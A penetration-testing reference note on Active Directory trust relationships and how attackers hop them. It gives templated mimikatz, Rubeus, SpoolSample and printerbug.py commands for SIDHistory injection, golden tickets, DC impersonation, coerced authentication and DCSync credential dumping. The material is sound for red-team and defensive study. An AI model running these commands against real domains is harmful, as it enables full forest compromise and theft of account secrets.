Post Exploitation - Trusts hopping

Overview

Trust relationships define an administrative and security link between two Windows forests or domains. They enable a user to access resources that are located in a forest or domain that's different from the user's own forest or domain.

Trusts directions

The direction of an Active Directory trust relationship defines the direction of the accesses and can be:

  • one-way, given by one forest or domain, the trusting object, to another domain or forest, the trusted object.

  • bidirectional or two-ways, meaning are reciprocated by both objects forming the trust. A bidirectional trust is actually implemented as two one-way trusts.

The trusting object will define outbound trusts with the objects that it directly trust and principals from the trusted objects will be allowed access to the trusting object resources. Reciprocally, the trusted object will define an inbound trust with object that directly trust it.

        ------ Outbound trust ------>
Domain1                               Domain2
  ^     <------ Inbound trust ------     |
  |                                      |
  |--------------- Access ----------------

Transitivity

A transitive trust is a trust that is extended not only to the directly trusted object, but also to each objects that the trusted object trusts. A transitive trust will thus give access to the resources of the trusting domain to all domains or forests that are trusted by the trusted object defined in the trust.

A trust that is non transitive will limit access to the resources of the trusting object only to the trusted domain or forest and will not extend to any other object.

Default and possible trusts

All domains in a forest trust each others by default. External trusts can also be configured between domains of different forests.

The following different types of trusts are or can be configured in Active Directory (either by default or manually):

Authentication mechanisms for Active Directory trusts

Both the Kerberos and the NTLM protocols are used for authentication across Active Directory trusts. An authentication is first attempted using the Kerberos protocol and, in case of failure, a rollback authentication is made through the NTLM protocol.

If the authentication is made through the Kerberos protocol, a new Kerberos ticket is issued to the user: the referral ticket. This ticket corresponds to a reissue of the user's current Ticket-Granting Ticket (TGT) encrypted with one of the secrets (RC4, corresponding to the NTLM hash, or AES 128/256 bits keys) of the trust account.

The referral tickets, as with any other Kerberos tickets, contain the user authentication information (SID, eventual extra SIDs and the user's groups) in its Privilege Attribute Certificate (PAC). The referral tickets are subsequently used to request service tickets (ST) and access resources in the trusting domain or forest.

Authentication and access control across trusts

The access to securable resources, that is resources that define a security descriptor, is based on a security principal's SID, eventual extra SIDs, and security group SIDs. Indeed, these SIDs are compared to the access rights defined in the Access Control Entries (ACEs) of the accessed object's Discretionary Access Control List (DACL).

Users, computer machine accounts, and Global and Universal security groups of the trusted domain or forest can be added to Domain local security groups of the trusting domain or forest. As the Domain Admins and Enterprise Admins groups are, respectively, Global and Universal security groups, only the built-ins Administrators and Operators groups (and others non-default Domain Local security groups) can be used to grant privileges to security principals of a trusted domain / forest in the trusting domain / forest. For instance, the trusted domain / forest's Domain Admins group can be added to the Administrators group of the trusting forest but the trusted forest's Administrators group cannot.

The SIDs that are not from the trusted domain or forest are subject to the SID filtering security mechanism.

Security mechanism: SID filtering

A filtering policy governs the Security Identifiers (SIDs) that can be used for authentication and access control through Active Directory trusts. The filtering depends on the type of the trust, the SID, as well as the activation or not of the security filtering mechanism known as SID filtering. This filtering applies on the current SID of the account as well as any SIDs present in the user SIDHistory attribute.

SIDs are categorized into the following classes, with specific rules being applied to each class:

SID categorization

SID filtering policy for intra-forest trusts

SID filtering is by default disabled for all intra-forest trusts. Any eventual extra SIDs or security group SIDs, except the SIDs categorized as Alwaysfiltered, will thus be taken into account for the authorization and access control process whenever accessing resources through an intra-forest trust. In an Active Directory forest with trusts in their default configuration, the initial compromise of a domain of the forest can lead to the full compromise of the forest.

A form of SID filtering can be configured on intra-forest trusts by marking the trusts as QuarantinedWithinForest. In such configuration, the trustAttributes attribute of the TDO object defining the trust has its TRUST_ATTRIBUTE_QUARANTINED_DOMAIN bit set. The only SIDs that will be allowed across the trust are the SIDs from the trusted domain, the SID Enterprise Domain Controllers (S-1-5-9), categorized as EDC, and "the SID described by the Trusted Domain Object (TDO)".

Note that activation of the QuarantinedWithinForest mechanism for intra-forest trusts may give rise to operational issues and is not recommended. This is why the forest is commonly considered as a security boundary while the domain only as an operational boundary.

SID filtering policy for inter-forests trusts

The SIDs categorized as Alwaysfiltered and ForestSpecific are filtered across all inter-forests trusts (CrossForest and External) boundaries.

For External trusts, non-default domain users and groups SIDs, in the format S-1-5-21-<Domain>-R with R >= 1000, are not filtered.

SID filtering is however by default enabled for all CrossForest trusts and all SIDs that do not directly refer to the trusted domain or forest are filtered across the trust boundaries. This filtering can be relaxed by disabling the SID filtering mechanism. In such configuration, the trustAttributes attribute of the TDO object defining the trust has its TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL bit set and the trust is considered, for SID filtering, as an External trust (thus allowing non-default SIDs across the trust).

Security mechanism: TGT delegation

Security mechanisms restricting the delegation of Ticket-Granting Ticket (TGT) through Kerberos unconstrained delegation across trust boundaries were introduced in March - July 2019 security updates. The features were implemented on Windows Server 2012, and later, as well as backported to Windows Server 2008.

The restriction are implemented through two trust flags stored in the trustAttributes attribute of TDO objects:

  • CROSS_ORGANIZATION_NO_TGT_DELEGATION

  • CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION

As of July 2019, TGT delegation is by default disabled and must be explicitly enabled which result in the setting of the CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag. The CROSS_ORGANIZATION_NO_TGT_DELEGATION must also be unset in order for the TGT delegation to be effective.

In essence:

  • If the CROSS_ORGANIZATION_NO_TGT_DELEGATION is set, TGT delegation is disabled if all Domain Controllers are running Windows Server 2012 (or newer) or Windows Server 2008 / 2008 R2 with March 2019 security updates.

  • If the CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag is set (while the CROSS_ORGANIZATION_NO_TGT_DELEGATION flag is not) TGT delegation is possible across the trust (independently of the level of patching of the Domain Controllers).

  • if neither flags are set, TGT delegation is allowed if Domain Controllers do not have the May 2019 security updates.

Security mechanism: selective authentication

By default, any users of the trusted domain or forest can authenticate to the Domain Controllers of the trusting domain or forest. This results in the possibility of conducting authenticated enumeration of the objects of the trusting domain / forest by all the users of the trusted domain / forest.

The selective authentication security restricts the authentication to specifically defined security principals.

Forest and domain trusts enumeration

Various tools or utilities can be used to retrieve the trusts defined for a domain or at the forest level:

# Windows built-in command-line utility.
# Relies on the DsEnumerateDomainTrusts Win32 API and returns limited information:
nltest /trusted_domains

# PowerShell - Active Directory module / PowerView.
# Relies on LDAP queries and returns more exhaustive results.
Import-Module ActiveDirectory / Import-Module <PATH\Microsoft.ActiveDirectory.Management.dll>
Import-Module <PATH\PowerView.ps1>

# Trusts ONLY of the current domain. Does not recursively enumerates trusts of others domains in the forest.
Get-ADTrust -Filter *
Get-ADTrust -Filter * | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation
Get-DomainTrust

# Enumerates all the trusts of the current forest.
(Get-ADForest).Domains | ForEach-Object { Get-ADTrust -Server $_ -Filter * -Properties *  | Ft Name, Direction, DisallowTransivity, SIDFilteringQuarantined, SIDFilteringForestAware, TGTDelegation }
Get-ForestTrust

In additions, more comprehension and automated Active Directory scanners implemented in .NET, such as BloodHound or PingCastle, include modules to enumerate trusts information. Refer to the [ActiveDirectory] AD scanner note for more information on how to conduct enumeration using automated scanners.

Intra-forest trusts hopping

Intra-forest trusts that are not marked as QuarantinedWithinForest can be jumped after the initial compromise of a domain by simply adding the Enterprise Admins security group SID in the SIDHistory of an user of the compromised domain or directly in the extra SIDs field of a crafted Kerberos ticket. Alternatively, an Enterprise domain controller can be impersonated in order to conduct DCSync attacks on the root domain with out generating Windows Security events and possibly raising security alerts.

Jumps using the SID History attribute

Under normal circumstances, SIDs will only be added (automatically) to the SIDHistory attribute of a security principal during domain migration and cannot be manually added (but can be manually removed).

This restriction can be bypassed and SIDs added to a security principal's SIDHistory attribute with mimikatz by either:

  • executing code locally on a Domain Controller to patch its NTDS service

  • registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as DCShadow)

The following command can be used to validate the SIDHistory attribute modification:

Get-ADObject -Filter "(SamAccountName -eq '<SAMACCOUNTNAME>')" -Properties SIDHistory

SID History modification through local patch of the NTDS service

This technique of modification of the SIDHistory attribute requires privileges granted to the Domain Admins group and must be conducted on a Domain Controller as the Windows NT Directory Services (NTDS) service must be locally patched. While the SID History modification will persist, the NTDS service patch will not be persistent across reboot of the Domain Controller.

mimikatz's sid module can be used to add SIDs in the SIDHistory attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller):

# If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege.
mimikatz # token::elevate
mimikatz # privilege::debug

# Patches the ntds service.
# Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence).
mimikatz # sid::patch

# Adds the given SID in the SIDHistory attribute of the specified user.
# S-1-5-21-<FOREST_DOMAIN>-519: SID of the "Enterprise Admins" group for example.
mimikatz # sid::add /sam:<SAMACCOUNTNAME> /new:<S-1-5-21-<FOREST_DOMAIN>-519 | EXTRA_SID>

SID History modification through DCShadow

The restriction on the modification of the SIDHistory attribute can be also bypassed through a DCShadow attack to arbitrarily set an account SIDHistory attribute. For more details on the DCShadow attack, refer to the "DCShadow ACL" section of this note.

This technique will override any SID(s) currently present in the security principal's SIDHistory attribute.

# Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack:
# One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins").
# The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered).

# First interpreter (executed as "NT AUTHORITY\SYSTEM").
mimikatz # lsadump::dcshadow /object:<USERNAME> /attribute:SIDHistory /value:<S-1-5-21-<FOREST_DOMAIN>-519 | SID>

# Second interpreter (executed as the privileged domain account).
mimikatz # lsadump::dcshadow /push

Jumps using Kerberos Golden tickets

The mimikatz's kerberos::golden module can be used to generate golden tickets that may include arbitrary extra SIDs as well as arbitrary group identifiers. A golden ticket for the current domain can be generated, using one of the secrets of the current domain's krbtgt account, to include SIDs or group identifiers related to the root domain of the forest. The specified SIDs and / or group identifiers will, respectively, populate the ExtraSids and GroupIds fields of the ticket's Privilege Attribute Certificate (PAC). For example, specification of the SID of the Enterprise Admins group (S-1-5-21-<ROOTDOMAIN_ID>-519) will effectively impersonate membership to the group and grant full access to the domains in the forest.

Through this level of privileges, the secrets of the krbtgt account can be retrieved through DRSUAPI replication functions, attack known as DCSync, or extracted from the Active Directory database ntds.dit after exfiltration from a Domain Controller. The secrets of krbtgt account can then further be used to craft Golden tickets for the root domain of the forest. For more information, refer to the [ActiveDirectory] ntds.dit dumping and [ActiveDirectory] Golden Tickets notes.

# Retrieves the FQDN and SID of the current domain for the /sid:<CHILD_DOMAIN_SID> parameter.
Get-ADDomain | Ft Name,DNSRoot,DomainSID
Get-ADDomain -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> | Ft Name,DNSRoot,DomainSID

# Retrieves the SID of the root domain of the forest, for any /sids:<IMPERSONATED_SIDS>.
Get-ADForest | Ft RootDomain
Get-ADForest -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> | Ft RootDomain
Get-ADDomain <ROOTDOMAIN> | Ft Name,DistinguishedName,DomainSID
Get-ADDomain -Server <DC_IP | DC_HOSTNAME> -Credential <PSCREDENTIAL> <ROOTDOMAIN> | Ft Name,DistinguishedName,DomainSID

# /sids:<IMPERSONATED_SID | LIST_IMPERSONATED_SIDS>: SID, or comma-separated list of SIDs, to add in the "ExtraSids" field of the crafted ticket's PAC.
# For example, to impersonate membership to the "Enterprise Admins" group: /sids:S-1-5-21-<ROOTDOMAIN_ID>-519
# /ptt: Injects the ticket directly in the current session.
mimikatz # kerberos::golden /user:<IMPERSONATED_USERNAME> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /sids:<IMPERSONATED_SID | LIST_IMPERSONATED_SIDS> /ptt

# Impersonates an Enterprise domain controller to conduct DCSync attack with out raising Windows Security events
"Event 4662: An operation was performed on an object".
# /sids:<IMPERSONATED_SIDS>: S-1-5-21-<ROOTDOMAIN_ID>-516,S-1-5-9
# S-1-5-21-<ROOTDOMAIN_ID>-516: SID of the "Domain Controllers" group of the root domain.
# S-1-5-9: SID of the "Enterprise Domain Controllers" group.
mimikatz # kerberos::golden /user:<CHILD_DOMAIN_DC_NAME$> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /id:<CHILD_DOMAIN_DC_SID> /groups:516 /sids:S-1-5-21-<ROOTDOMAIN_ID>-516,S-1-5-9 /ptt

Inter-forests trusts hopping

External and CrossForest trusts with out SID Filtering

Inter-forests external and CrossForest trusts with out SID Filtering can be jumped by impersonating non-default security principals (SID S-1-5-21-<Domain>-R with R >= 1000). Depending on the targeted Active Directory domain configuration, this level of impersonation can likely be leveraged to elevate privileges on the domain or take control of the non-tier 0 assets (servers and workstations) in a properly hardened domain implementing an administrative tiering model.

Among many possibilities, the following techniques may be leveraged:

  • Impersonation of membership to the DnsAdmins non built-in domain local group. Members of the DnsAdmins group can load and execute an arbitrary Dynamic Link Library (DLL) on the servers executing the Active Directory DNS service (usually the Domain Controllers). Refer to the [ActiveDirectory] Operators to Domain Admins note for more information on how to leverage impersonation of membership to the DnsAdmins group for privilege escalation.

    (Get-ADGroup -Identity "DnsAdmins").SID
    
    mimikatz # kerberos::golden /user:<IMPERSONATED_USERNAME> [/rc4:<CHILD_DOMAIN_KRBTGT_NTLM> | /aes128:<CHILD_DOMAIN_KRBTGT_AES128> | /aes256:<CHILD_DOMAIN_KRBTGT_AES256>] /sid:<CHILD_DOMAIN_SID> /domain:<CHILD_DOMAIN_FQDN> /sids:<IMPERSONATED_SID_DNSADMINS_GROUP> /ptt
  • Impersonation of membership to non built-in groups having the necessary rights to make replication requests through the DRSUAPI functions (DCSync attack). For environment with an on-premise Exchange infrastructure with out the February 12th 2019 security update applied, the non-default Exchange Trusted Subsystem and Exchange Windows Permissions security group may be (indirectly) granted such privileges. Indeed, for such Exchange installation in Shared permissions (default) or RBAC split permissions (common), the Exchange Windows Permissions group is granted WriteDacl on the Domain root object (which can be abused to grant oneself replication rights).

  • Impersonation of membership to non built-in groups having administrator privileges on the tier 1 or 2 assets. Such groups can be identified through:

    • Local groups enumeration. Refer to the [ActiveDirectory] Credentials theft shuffling note for more information on how to enumerate members of the local Administrators groups.

    • Enumeration of the security principals having delegated read access to the LAPS password of multiple computers. The Find-LAPSDelegatedGroups PowerShell cmdlet can be used to conduct this enumeration. Refer to the [ActiveDirectory] ACL exploiting note for more information.

    • Groups naming convention, with the potential use of keywords such as "adm", "admin", etc. to tag privileged groups.

      Get-ADUser -Filter 'Name -like "*adm*"'

External and CrossForest trusts with SID Filtering - "Printer Bug"

Bidirectional External and CrossForest trusts with SID Filtering enabled may be jumped by leveraging a Kerberos unconstrained delegation on the source forest and the Print Spooler service on a Domain Controller of the targeted forest.

The attack is based on the fact that a MSRPC function exposed by the Print Spooler service (on the MS-RPRN interface) can be used to force the machine running the service to authenticate to a specified remote system. If the Print Spooler service is exposed on a Domain Controller, a Kerberos authentication of the Domain Controller machine account can thus be triggered to a controlled machine trusted for unconstrained delegation. This Kerberos authentication will result in the TGT of the Domain Controller machine account to be sent and further retrievable on the controlled machine. The obtained TGT can be used to request Kerberos service tickets under the identity of the Domain Controller, to conduct, for example replication operations (DCSync).

The attack requires the following prerequisites to be satisfied:

  • An External and CrossForest trusts allowing TGT delegation. Refer to the "Security mechanism: TGT delegation" overview for the conditions in which this can be the case.

  • The Print Spooler service to be enabled and exposed to at least one Domain Controller of the targeted forest.

  • The control of a machine configured for unconstrained delegation on the source forest side. All Domain Controllers are by default trusted for unconstrained delegation.

Identification and authentication trigger of Domain Controllers exposing the Print Spooler service

Multiple tools can be used to scan the Domain Controllers of the targeted forest for exposed Print Spooler services:

PingCastle.exe --scanner spooler --scmode-dc --server <TARGET_FOREST_DC_FQDN>

Get-ADDomainController -DomainName <FOREST_NETBIOS_NAME | FOREST_FQDN> -Discover -ForceDiscover | ForEach-Object { gci \\$_\pipe\spoolss }
Get-ADDomainController -DomainName <FOREST_NETBIOS_NAME | FOREST_FQDN> -Discover -ForceDiscover | ForEach-Object { Get-SpoolStatus $_ }

rpcdump.py '<DOMAIN>/<USERNAME>:<PASSWORD>@<IP | HOSTNAME> | grep -i "MS-RPRN"

The printerbug.py Python script and SpoolSample can be used to trigger an authentication request to the specified host (using its hostname to generate a Kerberos authentication):

SpoolSample.exe <TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

printerbug.py [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

For more information, refer to the [L7] MSRPC - MS-RPRN "printer bug" note.

Optional - configuration of unconstrained delegation on a controlled machine

The Domain Controllers are trusted for Kerberos unconstrained delegation.

However, if a Domain Controller (exposing the Print Spooler service) of the targeted forest is accessible from the attacking machine, a computer can be joined to the domain and configured to be trusted for unconstrained delegation. Doing so will allow to jump the trust with out deploying third party tools on a Domain Controller.

Add-Computer -DomainName <DOMAIN> -Server <DOMAIN>\<DC_HOSTNAME> -Credential <<DOMAIN>\<USERNAME> | <PSCredential>> -Restart -Force

Get-ADComputer -Identity <CONTROLLED_MACHINE_HOSTNAME> | Set-ADAccountControl -TrustedForDelegation $True

TGT extraction and usage

The TGT of the Domain Controller machine account received after triggering the Print Spooler service authentication can be extracted using Rubeus's monitor module:

# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor /nowrap /interval:<2 | INTERVAL_IN_SECONDS>

The base64 encoded ticket can be injected in the current session using, among others, Rubeus's ptt module:

Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>

# Confirms that the TGT is injected in the current session.
klist

  #X>     Client: <DC_MACHINE_ACCOUNT>$ @ <DOMAIN_FQDN>
          Server: krbtgt/<DOMAIN_FQDN> @ <DOMAIN_FQDN>

Replication operations, attack known as DCSync, can then be conducted, using mimikatz for example, through the session in which the Domain Controller machine account's TGT was injected. The specified Active Directory objects' sensible information (NTLM hash and Kerberos secrets) can be remotely retrieved.

mimikatz # lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /user:<krbtgt | USERNAME>

For more information on how to make use of the obtained TGT and conduct the DCSync attack, notably from a Linux attacking machine, refer to the [ActiveDirectory] Kerberos tickets usage and [ActiveDirectory] ntds.dit dumping notes.


References

https://docs.microsoft.com/fr-fr/azure/active-directory-domain-services/concepts-forest-trust https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/c9efe39c-f5f9-43e9-9479-941c20d0e590 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962 https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/ https://gist.github.com/xan7r/ca99181e3d45ee2042425f4f9181e614 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280 https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien_Bordes_-Secrets_d_authentification_episode_II_Kerberos_contre-attaque--_planches.pdf https://github.com/wavestone-cdt/MISC-AD-trusts-relationships/SIDHistoryInjection http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ https://support.microsoft.com/fr-fr/help/4490425/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server https://github.com/vletoux/pingcastle/issues/9

Last updated